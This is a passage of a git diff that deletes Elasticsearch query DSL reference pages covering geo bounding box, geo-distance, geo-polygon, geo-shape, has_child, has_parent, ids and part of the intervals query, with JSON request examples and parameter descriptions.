-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[discrete]
-===== Lat Lon As String
-
-Format in `lat,lon`.
-
-[source,console]
---------------------------------------------------
-GET my_locations/_search
-{
-  "query": {
-    "bool": {
-      "must": {
-        "match_all": {}
-      },
-      "filter": {
-        "geo_bounding_box": {
-          "pin.location": {
-            "top_left": "40.73, -74.1",
-            "bottom_right": "40.01, -71.12"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[discrete]
-===== Bounding Box as Well-Known Text (WKT)
-
-[source,console]
---------------------------------------------------
-GET my_locations/_search
-{
-  "query": {
-    "bool": {
-      "must": {
-        "match_all": {}
-      },
-      "filter": {
-        "geo_bounding_box": {
-          "pin.location": {
-            "wkt": "BBOX (-74.1, -71.12, 40.73, 40.01)"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[discrete]
-===== Geohash
-
-[source,console]
---------------------------------------------------
-GET my_locations/_search
-{
-  "query": {
-    "bool": {
-      "must": {
-        "match_all": {}
-      },
-      "filter": {
-        "geo_bounding_box": {
-          "pin.location": {
-            "top_left": "dr5r9ydj2y73",
-            "bottom_right": "drj7teegpus6"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-
-When geohashes are used to specify the bounding the edges of the
-bounding box, the geohashes are treated as rectangles. The bounding
-box is defined in such a way that its top left corresponds to the top
-left corner of the geohash specified in the `top_left` parameter and
-its bottom right is defined as the bottom right of the geohash
-specified in the `bottom_right` parameter.
-
-In order to specify a bounding box that would match entire area of a
-geohash the geohash can be specified in both `top_left` and
-`bottom_right` parameters:
-
-[source,console]
---------------------------------------------------
-GET my_locations/_search
-{
-  "query": {
-    "geo_bounding_box": {
-      "pin.location": {
-        "top_left": "dr",
-        "bottom_right": "dr"
-      }
-    }
-  }
-}
---------------------------------------------------
-
-In this example, the geohash `dr` will produce the bounding box
-query with the top left corner at `45.0,-78.75` and the bottom right
-corner at `39.375,-67.5`.
-
-[discrete]
-==== Vertices
-
-The vertices of the bounding box can either be set by `top_left` and
-`bottom_right` or by `top_right` and `bottom_left` parameters. More
-over the names `topLeft`, `bottomRight`, `topRight` and `bottomLeft`
-are supported. Instead of setting the values pairwise, one can use
-the simple names `top`, `left`, `bottom` and `right` to set the
-values separately.
-
-[source,console]
---------------------------------------------------
-GET my_locations/_search
-{
-  "query": {
-    "bool": {
-      "must": {
-        "match_all": {}
-      },
-      "filter": {
-        "geo_bounding_box": {
-          "pin.location": {
-            "top": 40.73,
-            "left": -74.1,
-            "bottom": 40.01,
-            "right": -71.12
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-
-[discrete]
-==== geo_point Type
-
-The filter *requires* the `geo_point` type to be set on the relevant
-field.
-
-[discrete]
-==== Multi Location Per Document
-
-The filter can work with multiple locations / points per document. Once
-a single location / point matches the filter, the document will be
-included in the filter
-
-[discrete]
-[[geo-bbox-type]]
-==== Type
-
-The type of the bounding box execution by default is set to `memory`,
-which means in memory checks if the doc falls within the bounding box
-range. In some cases, an `indexed` option will perform faster (but note
-that the `geo_point` type must have lat and lon indexed in this case).
-Note, when using the indexed option, multi locations per document field
-are not supported. Here is an example:
-
-[source,console]
---------------------------------------------------
-GET my_locations/_search
-{
-  "query": {
-    "bool": {
-      "must": {
-        "match_all": {}
-      },
-      "filter": {
-        "geo_bounding_box": {
-          "pin.location": {
-            "top_left": {
-              "lat": 40.73,
-              "lon": -74.1
-            },
-            "bottom_right": {
-              "lat": 40.10,
-              "lon": -71.12
-            }
-          },
-          "type": "indexed"
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[discrete]
-==== Ignore Unmapped
-
-When set to `true` the `ignore_unmapped` option will ignore an unmapped field
-and will not match any documents for this query. This can be useful when
-querying multiple indexes which might have different mappings. When set to
-`false` (the default value) the query will throw an exception if the field
-is not mapped.
-
-[discrete]
-==== Notes on Precision
-
-Geopoints have limited precision and are always rounded down during index time.
-During the query time, upper boundaries of the bounding boxes are rounded down,
-while lower boundaries are rounded up. As a result, the points along on the
-lower bounds (bottom and left edges of the bounding box) might not make it into
-the bounding box due to the rounding error. At the same time points alongside
-the upper bounds (top and right edges) might be selected by the query even if
-they are located slightly outside the edge. The rounding error should be less
-than 4.20e-8 degrees on the latitude and less than 8.39e-8 degrees on the
-longitude, which translates to less than 1cm error even at the equator.
diff --git a/docs/reference/query-dsl/geo-distance-query.asciidoc b/docs/reference/query-dsl/geo-distance-query.asciidoc
deleted file mode 100644
index cfb2779659e..00000000000
--- a/docs/reference/query-dsl/geo-distance-query.asciidoc
+++ /dev/null
@@ -1,221 +0,0 @@
-[[query-dsl-geo-distance-query]]
-=== Geo-distance query
-++++
-<titleabbrev>Geo-distance</titleabbrev>
-++++
-
-Filters documents that include only hits that exists within a specific
-distance from a geo point. Assuming the following mapping and indexed
-document:
-
-[source,console]
---------------------------------------------------
-PUT /my_locations
-{
-  "mappings": {
-    "properties": {
-      "pin": {
-        "properties": {
-          "location": {
-            "type": "geo_point"
-          }
-        }
-      }
-    }
-  }
-}
-
-PUT /my_locations/_doc/1
-{
-  "pin": {
-    "location": {
-      "lat": 40.12,
-      "lon": -71.34
-    }
-  }
-}
---------------------------------------------------
-// TESTSETUP
-
-
-Then the following simple query can be executed with a `geo_distance`
-filter:
-
-[source,console]
---------------------------------------------------
-GET /my_locations/_search
-{
-  "query": {
-    "bool": {
-      "must": {
-        "match_all": {}
-      },
-      "filter": {
-        "geo_distance": {
-          "distance": "200km",
-          "pin.location": {
-            "lat": 40,
-            "lon": -70
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[discrete]
-==== Accepted Formats
-
-In much the same way the `geo_point` type can accept different
-representations of the geo point, the filter can accept it as well:
-
-[discrete]
-===== Lat Lon As Properties
-
-[source,console]
---------------------------------------------------
-GET /my_locations/_search
-{
-  "query": {
-    "bool": {
-      "must": {
-        "match_all": {}
-      },
-      "filter": {
-        "geo_distance": {
-          "distance": "12km",
-          "pin.location": {
-            "lat": 40,
-            "lon": -70
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[discrete]
-===== Lat Lon As Array
-
-Format in `[lon, lat]`, note, the order of lon/lat here in order to
-conform with http://geojson.org/[GeoJSON].
-
-[source,console]
---------------------------------------------------
-GET /my_locations/_search
-{
-  "query": {
-    "bool": {
-      "must": {
-        "match_all": {}
-      },
-      "filter": {
-        "geo_distance": {
-          "distance": "12km",
-          "pin.location": [ -70, 40 ]
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-
-[discrete]
-===== Lat Lon As String
-
-Format in `lat,lon`.
-
-[source,console]
---------------------------------------------------
-GET /my_locations/_search
-{
-  "query": {
-    "bool": {
-      "must": {
-        "match_all": {}
-      },
-      "filter": {
-        "geo_distance": {
-          "distance": "12km",
-          "pin.location": "40,-70"
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[discrete]
-===== Geohash
-
-[source,console]
---------------------------------------------------
-GET /my_locations/_search
-{
-  "query": {
-    "bool": {
-      "must": {
-        "match_all": {}
-      },
-      "filter": {
-        "geo_distance": {
-          "distance": "12km",
-          "pin.location": "drm3btev3e86"
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[discrete]
-==== Options
-
-The following are options allowed on the filter:
-
-[horizontal]
-
-`distance`::
-
-    The radius of the circle centred on the specified location. Points which
-    fall into this circle are considered to be matches. The `distance` can be
-    specified in various units. See <<distance-units>>.
-
-`distance_type`::
-
-    How to compute the distance. Can either be `arc` (default), or `plane` (faster, but inaccurate on long distances and close to the poles).
-
-`_name`::
-
-    Optional name field to identify the query
-
-`validation_method`::
-
-    Set to `IGNORE_MALFORMED` to accept geo points with invalid latitude or
-    longitude, set to `COERCE` to additionally try and infer correct
-    coordinates (default is `STRICT`).
-
-[discrete]
-==== geo_point Type
-
-The filter *requires* the `geo_point` type to be set on the relevant
-field.
-
-[discrete]
-==== Multi Location Per Document
-
-The `geo_distance` filter can work with multiple locations / points per
-document. Once a single location / point matches the filter, the
-document will be included in the filter.
-
-[discrete]
-==== Ignore Unmapped
-
-When set to `true` the `ignore_unmapped` option will ignore an unmapped field
-and will not match any documents for this query. This can be useful when
-querying multiple indexes which might have different mappings. When set to
-`false` (the default value) the query will throw an exception if the field
-is not mapped.
diff --git a/docs/reference/query-dsl/geo-polygon-query.asciidoc b/docs/reference/query-dsl/geo-polygon-query.asciidoc
deleted file mode 100644
index c3588133211..00000000000
--- a/docs/reference/query-dsl/geo-polygon-query.asciidoc
+++ /dev/null
@@ -1,155 +0,0 @@
-[[query-dsl-geo-polygon-query]]
-=== Geo-polygon query
-++++
-<titleabbrev>Geo-polygon</titleabbrev>
-++++
-
-A query returning hits that only fall within a polygon of
-points. Here is an example:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "bool": {
-      "must": {
-        "match_all": {}
-      },
-      "filter": {
-        "geo_polygon": {
-          "person.location": {
-            "points": [
-              { "lat": 40, "lon": -70 },
-              { "lat": 30, "lon": -80 },
-              { "lat": 20, "lon": -90 }
-            ]
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[discrete]
-==== Query Options
-
-[cols="<,<",options="header",]
-|=======================================================================
-|Option |Description
-|`_name` |Optional name field to identify the filter
-
-|`validation_method` |Set to `IGNORE_MALFORMED` to accept geo points with
-invalid latitude or longitude, `COERCE` to try and infer correct latitude
-or longitude, or `STRICT` (default is `STRICT`).
-|=======================================================================
-
-[discrete]
-==== Allowed Formats
-
-[discrete]
-===== Lat Long as Array
-
-Format as `[lon, lat]`
-
-Note: the order of lon/lat here must
-conform with http://geojson.org/[GeoJSON].
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "bool": {
-      "must": {
-        "match_all": {}
-      },
-      "filter": {
-        "geo_polygon": {
-          "person.location": {
-            "points": [
-              [ -70, 40 ],
-              [ -80, 30 ],
-              [ -90, 20 ]
-            ]
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[discrete]
-===== Lat Lon as String
-
-Format in `lat,lon`.
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "bool": {
-      "must": {
-        "match_all": {}
-      },
-      "filter": {
-        "geo_polygon": {
-          "person.location": {
-            "points": [
-              "40, -70",
-              "30, -80",
-              "20, -90"
-            ]
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[discrete]
-===== Geohash
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "bool": {
-      "must": {
-        "match_all": {}
-      },
-      "filter": {
-        "geo_polygon": {
-          "person.location": {
-            "points": [
-              "drn5x1g8cu2y",
-              "30, -80",
-              "20, -90"
-            ]
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[discrete]
-==== geo_point Type
-
-The query *requires* the <<geo-point,`geo_point`>> type to be set on the
-relevant field.
-
-[discrete]
-==== Ignore Unmapped
-
-When set to `true` the `ignore_unmapped` option will ignore an unmapped field
-and will not match any documents for this query. This can be useful when
-querying multiple indexes which might have different mappings. When set to
-`false` (the default value) the query will throw an exception if the field
-is not mapped.
diff --git a/docs/reference/query-dsl/geo-queries.asciidoc b/docs/reference/query-dsl/geo-queries.asciidoc
deleted file mode 100644
index b4eb86763e7..00000000000
--- a/docs/reference/query-dsl/geo-queries.asciidoc
+++ /dev/null
@@ -1,33 +0,0 @@
-[[geo-queries]]
-== Geo queries
-
-Elasticsearch supports two types of geo data:
-<<geo-point,`geo_point`>> fields which support lat/lon pairs, and
-<<geo-shape,`geo_shape`>> fields, which support points,
-lines, circles, polygons, multi-polygons, etc.
-
-The queries in this group are:
-
-<<query-dsl-geo-bounding-box-query,`geo_bounding_box`>> query::
-Finds documents with geo-points that fall into the specified rectangle.
-
-<<query-dsl-geo-distance-query,`geo_distance`>> query::
-Finds documents with geo-points within the specified distance of a central point.
-
-<<query-dsl-geo-polygon-query,`geo_polygon`>> query::
-Find documents with geo-points within the specified polygon.
-
-<<query-dsl-geo-shape-query,`geo_shape`>> query::
-Finds documents with:
-* `geo-shapes` which either intersect, are contained by, or do not intersect
-with the specified geo-shape
-* `geo-points` which intersect the specified
-geo-shape
-
-include::geo-bounding-box-query.asciidoc[]
-
-include::geo-distance-query.asciidoc[]
-
-include::geo-polygon-query.asciidoc[]
-
-include::geo-shape-query.asciidoc[]
diff --git a/docs/reference/query-dsl/geo-shape-query.asciidoc b/docs/reference/query-dsl/geo-shape-query.asciidoc
deleted file mode 100644
index 65792479a83..00000000000
--- a/docs/reference/query-dsl/geo-shape-query.asciidoc
+++ /dev/null
@@ -1,317 +0,0 @@
-[[query-dsl-geo-shape-query]]
-=== Geo-shape query
-++++
-<titleabbrev>Geo-shape</titleabbrev>
-++++
-
-Filter documents indexed using the `geo_shape` or `geo_point` type.
-
-Requires the <<geo-shape,`geo_shape` Mapping>> or the 
-<<geo-point,`geo_point` Mapping>>.
-
-The `geo_shape` query uses the same grid square representation as the
-`geo_shape` mapping to find documents that have a shape that intersects
-with the query shape. It will also use the same Prefix Tree configuration
-as defined for the field mapping.
-
-The query supports two ways of defining the query shape, either by
-providing a whole shape definition, or by referencing the name of a shape
-pre-indexed in another index. Both formats are defined below with
-examples.
-
-
-==== Inline Shape Definition
-
-Similar to the `geo_shape` type, the `geo_shape` query uses
-http://geojson.org[GeoJSON] to represent shapes.
-
-Given the following index with locations as `geo_shape` fields:
-
-[source,console]
---------------------------------------------------
-PUT /example
-{
-  "mappings": {
-    "properties": {
-      "location": {
-        "type": "geo_shape"
-      }
-    }
-  }
-}
-
-POST /example/_doc?refresh
-{
-  "name": "Wind & Wetter, Berlin, Germany",
-  "location": {
-    "type": "point",
-    "coordinates": [ 13.400544, 52.530286 ]
-  }
-}
---------------------------------------------------
-// TESTSETUP
-
-
-The following query will find the point using {es}'s `envelope` GeoJSON 
-extension:
-
-[source,console]
---------------------------------------------------
-GET /example/_search
-{
-  "query": {
-    "bool": {
-      "must": {
-        "match_all": {}
-      },
-      "filter": {
-        "geo_shape": {
-          "location": {
-            "shape": {
-              "type": "envelope",
-              "coordinates": [ [ 13.0, 53.0 ], [ 14.0, 52.0 ] ]
-            },
-            "relation": "within"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-
-The above query can, similarly, be queried on `geo_point` fields.
-
-[source,console]
---------------------------------------------------
-PUT /example_points
-{
-  "mappings": {
-    "properties": {
-      "location": {
-        "type": "geo_point"
-      }
-    }
-  }
-}
-
-PUT /example_points/_doc/1?refresh
-{
-  "name": "Wind & Wetter, Berlin, Germany",
-  "location": [13.400544, 52.530286]
-}
---------------------------------------------------
-// TEST[continued]
-
-
-Using the same query, the documents with matching `geo_point` fields are 
-returned.
-
-[source,console]
---------------------------------------------------
-GET /example_points/_search
-{
-  "query": {
-    "bool": {
-      "must": {
-        "match_all": {}
-      },
-      "filter": {
-        "geo_shape": {
-          "location": {
-            "shape": {
-              "type": "envelope",
-              "coordinates": [ [ 13.0, 53.0 ], [ 14.0, 52.0 ] ]
-            },
-            "relation": "intersects"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-[source,console-result]
---------------------------------------------------
-{
-  "took" : 17,
-  "timed_out" : false,
-  "_shards" : {
-    "total" : 1,
-    "successful" : 1,
-    "skipped" : 0,
-    "failed" : 0
-  },
-  "hits" : {
-    "total" : {
-      "value" : 1,
-      "relation" : "eq"
-    },
-    "max_score" : 1.0,
-    "hits" : [
-      {
-        "_index" : "example_points",
-        "_type" : "_doc",
-        "_id" : "1",
-        "_score" : 1.0,
-        "_source" : {
-          "name": "Wind & Wetter, Berlin, Germany",
-          "location": [13.400544, 52.530286]
-        }
-      }
-    ]
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took" : 17/"took" : $body.took/]
-
-
-==== Pre-Indexed Shape
-
-The query also supports using a shape which has already been indexed in another 
-index. This is particularly useful for when you have a pre-defined list of 
-shapes and you want to reference the list using 
-a logical name (for example 'New Zealand') rather than having to provide 
-coordinates each time. In this situation, it is only necessary to provide:
-
-* `id` - The ID of the document that containing the pre-indexed shape.
-* `index` - Name of the index where the pre-indexed shape is. Defaults to 
-'shapes'.
-* `path` - The field specified as path containing the pre-indexed shape. 
-Defaults to 'shape'.
-* `routing` - The routing of the shape document if required.
-
-The following is an example of using the Filter with a pre-indexed
-shape:
-
-[source,console]
---------------------------------------------------
-PUT /shapes
-{
-  "mappings": {
-    "properties": {
-      "location": {
-        "type": "geo_shape"
-      }
-    }
-  }
-}
-
-PUT /shapes/_doc/deu
-{
-  "location": {
-    "type": "envelope",
-    "coordinates" : [[13.0, 53.0], [14.0, 52.0]]
-  }
-}
-
-GET /example/_search
-{
-  "query": {
-    "bool": {
-      "filter": {
-        "geo_shape": {
-          "location": {
-            "indexed_shape": {
-              "index": "shapes",
-              "id": "deu",
-              "path": "location"
-            }
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-
-==== Spatial Relations
-
-The <<spatial-strategy, geo_shape strategy>> mapping parameter determines which 
-spatial relation operators may be used at search time.
-
-The following is a complete list of spatial relation operators available when 
-searching a field of type `geo_shape`:
-
-* `INTERSECTS` - (default) Return all documents whose `geo_shape` field
-intersects the query geometry.
-* `DISJOINT` - Return all documents whose `geo_shape` field has nothing in 
-common with the query geometry.
-* `WITHIN` - Return all documents whose `geo_shape` field is within the query 
-geometry.
-* `CONTAINS` - Return all documents whose `geo_shape` field contains the query 
-geometry.
-
-When searching a field of type `geo_point` there is a single supported spatial 
-relation operator:
-
-* `INTERSECTS` - (default) Return all documents whose `geo_point` field 
-intersects the query geometry.
-
-
-[discrete]
-==== Ignore Unmapped
-
-When set to `true` the `ignore_unmapped` option will ignore an unmapped field
-and will not match any documents for this query. This can be useful when
-querying multiple indexes which might have different mappings. When set to
-`false` (the default value) the query will throw an exception if the field
-is not mapped.
-
-
-==== Shape Types supported for Geo-Point
-
-When searching a field of type `geo_point` the following shape types are not 
-supported:
-
-* `POINT`
-* `LINE`
-* `MULTIPOINT`
-* `MULTILINE`
-
-[[geo-shape-query-notes]]
-==== Notes
-
-* Geo-shape queries on geo-shapes implemented with 
-  <<prefix-trees, `PrefixTrees`>> will not be executed if 
-  <<query-dsl-allow-expensive-queries, `search.allow_expensive_queries`>> is set 
-  to false.
-
-
-* When data is indexed in a `geo_shape` field as an array of shapes, the arrays 
-  are treated as one shape. For this reason, the following requests are 
-  equivalent.
-
-[source,console]
---------------------------------------------------
-PUT /test/_doc/1
-{
-  "location": [
-    {
-      "coordinates": [46.25,20.14],
-      "type": "point"
-    },
-    {
-      "coordinates": [47.49,19.04],
-      "type": "point"
-    }
-  ]
-}
---------------------------------------------------
-
-
-[source,console]
---------------------------------------------------
-PUT /test/_doc/1
-{
-  "location": 
-    {
-      "coordinates": [[46.25,20.14],[47.49,19.04]],
-      "type": "multipoint"
-    }
-}
---------------------------------------------------
diff --git a/docs/reference/query-dsl/has-child-query.asciidoc b/docs/reference/query-dsl/has-child-query.asciidoc
deleted file mode 100644
index 7b8158aaab5..00000000000
--- a/docs/reference/query-dsl/has-child-query.asciidoc
+++ /dev/null
@@ -1,158 +0,0 @@
-[[query-dsl-has-child-query]]
-=== Has child query
-++++
-<titleabbrev>Has child</titleabbrev>
-++++
-
-Returns parent documents whose <<parent-join,joined>> child documents match a
-provided query. You can create parent-child relationships between documents in
-the same index using a <<parent-join,join>> field mapping.
-
-[WARNING]
-====
-Because it performs a join, the `has_child` is slow compared to other queries.
-Its performance degrades as the number of matching child documents pointing to
-unique parent documents increases. Each `has_child` query in a search can
-increase query time significantly.
-
-If you care about query performance, do not use this query. If you need to use
-the `has_child` query, use it as rarely as possible. 
-====
-
-[[has-child-query-ex-request]]
-==== Example request
-
-[[has-child-index-setup]]
-===== Index setup
-To use the `has_child` query, your index must include a <<parent-join,join>>
-field mapping. For example:
-
-[source,console]
-----
-PUT /my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "my-join-field": {
-        "type": "join",
-        "relations": {
-          "parent": "child"
-        }
-      }
-    }
-  }
-}
-
-----
-// TESTSETUP
-
-[[has-child-query-ex-query]]
-===== Example query
-
-[source,console]
-----
-GET /_search
-{
-  "query": {
-    "has_child": {
-      "type": "child",
-      "query": {
-        "match_all": {}
-      },
-      "max_children": 10,
-      "min_children": 2,
-      "score_mode": "min"
-    }
-  }
-}
-----
-
-[[has-child-top-level-params]]
-==== Top-level parameters for `has_child`
-
-`type`::
-(Required, string) Name of the child relationship mapped for the
-<<parent-join,join>> field.
-
-`query`::
-(Required, query object) Query you wish to run on child documents of the `type`
-field. If a child document matches the search, the query returns the parent
-document.
-
-`ignore_unmapped`::
-+
---
-(Optional, Boolean) Indicates whether to ignore an unmapped `type` and not
-return any documents instead of an error. Defaults to `false`.
-
-If `false`, {es} returns an error if the `type` is unmapped.
-
-You can use this parameter to query multiple indices that may not contain the
-`type`.
---
-
-`max_children`::
-(Optional, integer) Maximum number of child documents that match the `query`
-allowed for a returned parent document. If the parent document exceeds this
-limit, it is excluded from the search results.
-
-`min_children`::
-(Optional, integer) Minimum number of child documents that match the `query`
-required to match the query for a returned parent document. If the parent
-document does not meet this limit, it is excluded from the search results.
-
-`score_mode`::
-+
---
-(Optional, string) Indicates how scores for matching child documents affect the
-root parent document's <<relevance-scores,relevance score>>. Valid values
-are:
-
-`none` (Default)::
-Do not use the relevance scores of matching child documents. The query assigns
-parent documents a score of `0`.
-
-`avg`::
-Use the mean relevance score of all matching child documents.
-
-`max`::
-Uses the highest relevance score of all matching child documents.
-
-`min`::
-Uses the lowest relevance score of all matching child documents.
-
-`sum`::
-Add together the relevance scores of all matching child documents.
---
-
-[[has-child-query-notes]]
-==== Notes
-
-[[has-child-query-performance]]
-===== Sorting
-You cannot sort the results of a `has_child` query using standard
-<<sort-search-results,sort options>>.
-
-If you need to sort returned documents by a field in their child documents, use
-a `function_score` query and sort by `_score`. For example, the following query
-sorts returned documents by the `click_count` field of their child documents.
-
-[source,console]
-----
-GET /_search
-{
-  "query": {
-    "has_child": {
-      "type": "child",
-      "query": {
-        "function_score": {
-          "script_score": {
-            "script": "_score * doc['click_count'].value"
-          }
-        }
-      },
-      "score_mode": "max"
-    }
-  }
-}
-----
diff --git a/docs/reference/query-dsl/has-parent-query.asciidoc b/docs/reference/query-dsl/has-parent-query.asciidoc
deleted file mode 100644
index 6c4148a8dad..00000000000
--- a/docs/reference/query-dsl/has-parent-query.asciidoc
+++ /dev/null
@@ -1,139 +0,0 @@
-[[query-dsl-has-parent-query]]
-=== Has parent query
-++++
-<titleabbrev>Has parent</titleabbrev>
-++++
-
-Returns child documents whose <<parent-join,joined>> parent document matches a
-provided query. You can create parent-child relationships between documents in
-the same index using a <<parent-join,join>> field mapping.
-
-[WARNING]
-====
-Because it performs a join, the `has_parent` query is slow compared to other queries.
-Its performance degrades as the number of matching parent documents increases.
-Each `has_parent` query in a search can increase query time significantly.
-====
-
-[[has-parent-query-ex-request]]
-==== Example request
-
-[[has-parent-index-setup]]
-===== Index setup
-To use the `has_parent` query, your index must include a <<parent-join,join>>
-field mapping. For example:
-
-[source,console]
-----
-PUT /my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "my-join-field": {
-        "type": "join",
-        "relations": {
-          "parent": "child"
-        }
-      },
-      "tag": {
-        "type": "keyword"
-      }
-    }
-  }
-}
-
-----
-// TESTSETUP
-
-[[has-parent-query-ex-query]]
-===== Example query
-
-[source,console]
-----
-GET /my-index-000001/_search
-{
-  "query": {
-    "has_parent": {
-      "parent_type": "parent",
-      "query": {
-        "term": {
-          "tag": {
-            "value": "Elasticsearch"
-          }
-        }
-      }
-    }
-  }
-}
-----
-
-[[has-parent-top-level-params]]
-==== Top-level parameters for `has_parent`
-
-`parent_type`::
-(Required, string) Name of the parent relationship mapped for the
-<<parent-join,join>> field.
-
-`query`::
-(Required, query object) Query you wish to run on parent documents of the
-`parent_type` field. If a parent document matches the search, the query returns
-its child documents.
-
-`score`::
-+
---
-(Optional, Boolean) Indicates whether the <<query-filter-context,relevance
-score>> of a matching parent document is aggregated into its child documents.
-Defaults to `false`.
-
-If `false`, {es} ignores the relevance score of the parent document. {es} also
-assigns each child document a relevance score equal to the `query`'s `boost`,
-which defaults to `1`.
-
-If `true`, the relevance score of the matching parent document is aggregated
-into its child documents' relevance scores.
---
-
-`ignore_unmapped`::
-+
---
-(Optional, Boolean) Indicates whether to ignore an unmapped `parent_type` and
-not return any documents instead of an error. Defaults to `false`.
-
-If `false`, {es} returns an error if the `parent_type` is unmapped.
-
-You can use this parameter to query multiple indices that may not contain the
-`parent_type`.
---
-
-[[has-parent-query-notes]]
-==== Notes
-
-[[has-parent-query-performance]]
-===== Sorting
-You cannot sort the results of a `has_parent` query using standard
-<<sort-search-results,sort options>>.
-
-If you need to sort returned documents by a field in their parent documents, use
-a `function_score` query and sort by `_score`. For example, the following query
-sorts returned documents by the `view_count` field of their parent documents.
-
-[source,console]
-----
-GET /_search
-{
-  "query": {
-    "has_parent": {
-      "parent_type": "parent",
-      "score": true,
-      "query": {
-        "function_score": {
-          "script_score": {
-            "script": "_score * doc['view_count'].value"
-          }
-        }
-      }
-    }
-  }
-}
-----
diff --git a/docs/reference/query-dsl/ids-query.asciidoc b/docs/reference/query-dsl/ids-query.asciidoc
deleted file mode 100644
index cf7ad4d8c10..00000000000
--- a/docs/reference/query-dsl/ids-query.asciidoc
+++ /dev/null
@@ -1,28 +0,0 @@
-[[query-dsl-ids-query]]
-=== IDs
-++++
-<titleabbrev>IDs</titleabbrev>
-++++
-
-Returns documents based on their IDs. This query uses document IDs stored in
-the <<mapping-id-field,`_id`>> field.
-
-==== Example request
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "ids" : {
-      "values" : ["1", "4", "100"]
-    }
-  }
-}    
---------------------------------------------------
-
-[[ids-query-top-level-parameters]]
-==== Top-level parameters for `ids`
-
-`values`::
-(Required, array of strings) An array of <<mapping-id-field, document IDs>>.
\ No newline at end of file
diff --git a/docs/reference/query-dsl/intervals-query.asciidoc b/docs/reference/query-dsl/intervals-query.asciidoc
deleted file mode 100644
index b408e04a6b8..00000000000
--- a/docs/reference/query-dsl/intervals-query.asciidoc
+++ /dev/null
@@ -1,464 +0,0 @@
-[[query-dsl-intervals-query]]
-=== Intervals query
-++++
-<titleabbrev>Intervals</titleabbrev>
-++++
-
-Returns documents based on the order and proximity of matching terms.
-
-The `intervals` query uses *matching rules*, constructed from a small set of
-definitions. These rules are then applied to terms from a specified `field`.
-
-The definitions produce sequences of minimal intervals that span terms in a
-body of text. These intervals can be further combined and filtered by
-parent sources.
-
-
-[[intervals-query-ex-request]]
-==== Example request
-
-The following `intervals` search returns documents containing `my
-favorite food` immediately followed by `hot water` or `cold porridge` in the
-`my_text` field.
-
-This search would match a `my_text` value of `my favorite food is cold
-porridge` but not `when it's cold my favorite food is porridge`.
-
-[source,console]
---------------------------------------------------
-POST _search
-{
-  "query": {
-    "intervals" : {
-      "my_text" : {
-        "all_of" : {
-          "ordered" : true,
-          "intervals" : [
-            {
-              "match" : {
-                "query" : "my favorite food",
-                "max_gaps" : 0,
-                "ordered" : true
-              }
-            },
-            {
-              "any_of" : {
-                "intervals" : [
-                  { "match" : { "query" : "hot water" } },
-                  { "match" : { "query" : "cold porridge" } }
-                ]
-              }
-            }
-          ]
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[[intervals-top-level-params]]
-==== Top-level parameters for `intervals`
-[[intervals-rules]]
-`<field>`::
-+
---
-(Required, rule object) Field you wish to search.
-
-The value of this parameter is a rule object used to match documents
-based on matching terms, order, and proximity.
-
-Valid rules include:
-
-* <<intervals-match,`match`>>
-* <<intervals-prefix,`prefix`>>
-* <<intervals-wildcard,`wildcard`>>
-* <<intervals-fuzzy,`fuzzy`>>
-* <<intervals-all_of,`all_of`>>
-* <<intervals-any_of,`any_of`>>
---
-
-[[intervals-match]]
-==== `match` rule parameters
-
-The `match` rule matches analyzed text.
-
-`query`::
-(Required, string) Text you wish to find in the provided `<field>`.
-
-`max_gaps`::
-+
---
-(Optional, integer) Maximum number of positions between the matching terms.
-Terms further apart than this are not considered matches. Defaults to
-`-1`.
-
-If unspecified or set to `-1`, there is no width restriction on the match. If
-set to `0`, the terms must appear next to each other.
---
-
-`ordered`::
-(Optional, Boolean)
-If `true`, matching terms must appear in their specified order. Defaults to
-`false`.
-
-`analyzer`::
-(Optional, string) <<analysis, analyzer>> used to analyze terms in the `query`.
-Defaults to the top-level `<field>`'s analyzer.
-
-`filter`::
-(Optional, <<interval_filter,interval filter>> rule object) An optional interval
-filter.
-
-`use_field`::
-(Optional, string) If specified, then match intervals from this
-field rather than the top-level `<field>`. Terms are analyzed using the
-search analyzer from this field. This allows you to search across multiple
-fields as if they were all the same field; for example, you could index the same
-text into stemmed and unstemmed fields, and search for stemmed tokens near
-unstemmed ones.
-
-[[intervals-prefix]]
-==== `prefix` rule parameters
-
-The `prefix` rule matches terms that start with a specified set of characters.
-This prefix can expand to match at most 128 terms. If the prefix matches more
-than 128 terms, {es} returns an error. You can use the
-<<index-prefixes,`index-prefixes`>> option in the field mapping to avoid this
-limit.
-
-`prefix`::
-(Required, string) Beginning characters of terms you wish to find in the
-top-level `<field>`.
-
-`analyzer`::
-(Optional, string) <<analysis, analyzer>> used to normalize the `prefix`.
-Defaults to the top-level `<field>`'s analyzer.
-
-`use_field`::
-+
---
-(Optional, string) If specified, then match intervals from this field rather
-than the top-level `<field>`.
-
-The `prefix` is normalized using the search analyzer from this field, unless a
-separate `analyzer` is specified.
---
-
-[[intervals-wildcard]]
-==== `wildcard` rule parameters
-
